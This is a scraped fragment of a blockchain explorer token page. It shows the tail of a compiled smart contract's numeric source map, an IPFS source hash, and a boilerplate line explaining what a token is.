2:18;6526:25;6516:35;;6591:2;6580:9;6576:18;6570:25;6560:35;;6295:306;;;;;:::o;6606:251::-;6676:6;6729:2;6717:9;6708:7;6704:23;6700:32;6697:52;;;6745:1;6742;6735:12;6697:52;6777:9;6771:16;6796:31;6821:5;6796:31;:::i;9199:128::-;9266:9;;;9287:11;;;9284:37;;;9301:18;;:::i;9332:125::-;9397:9;;;9418:10;;;9415:36;;;9431:18;;:::i;10171:135::-;10210:3;10231:17;;;10228:43;;10251:18;;:::i;:::-;-1:-1:-1;10298:1:1;10287:13;;10171:135::o;10311:217::-;10351:1;10377;10367:132;;10421:10;10416:3;10412:20;10409:1;10402:31;10456:4;10453:1;10446:15;10484:4;10481:1;10474:15;10367:132;-1:-1:-1;10513:9:1;;10311:217::o;11067:127::-;11128:10;11123:3;11119:20;11116:1;11109:31;11159:4;11156:1;11149:15;11183:4;11180:1;11173:15;11199:980;11461:4;11509:3;11498:9;11494:19;11540:6;11529:9;11522:25;11566:2;11604:6;11599:2;11588:9;11584:18;11577:34;11647:3;11642:2;11631:9;11627:18;11620:31;11671:6;11706;11700:13;11737:6;11729;11722:22;11775:3;11764:9;11760:19;11753:26;;11814:2;11806:6;11802:15;11788:29;;11835:1;11845:195;11859:6;11856:1;11853:13;11845:195;;;11924:13;;-1:-1:-1;;;;;11920:39:1;11908:52;;12015:15;;;;11980:12;;;;11956:1;11874:9;11845:195;;;-1:-1:-1;;;;;;;12096:32:1;;;;12091:2;12076:18;;12069:60;-1:-1:-1;;;12160:3:1;12145:19;12138:35;12057:3;11199:980;-1:-1:-1;;;11199:980:1:o

Swarm Source

ipfs://f78b15901110632b43fc99f7c4b4f26e7cf7812e5c6e376d7c12118ece1baa4e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.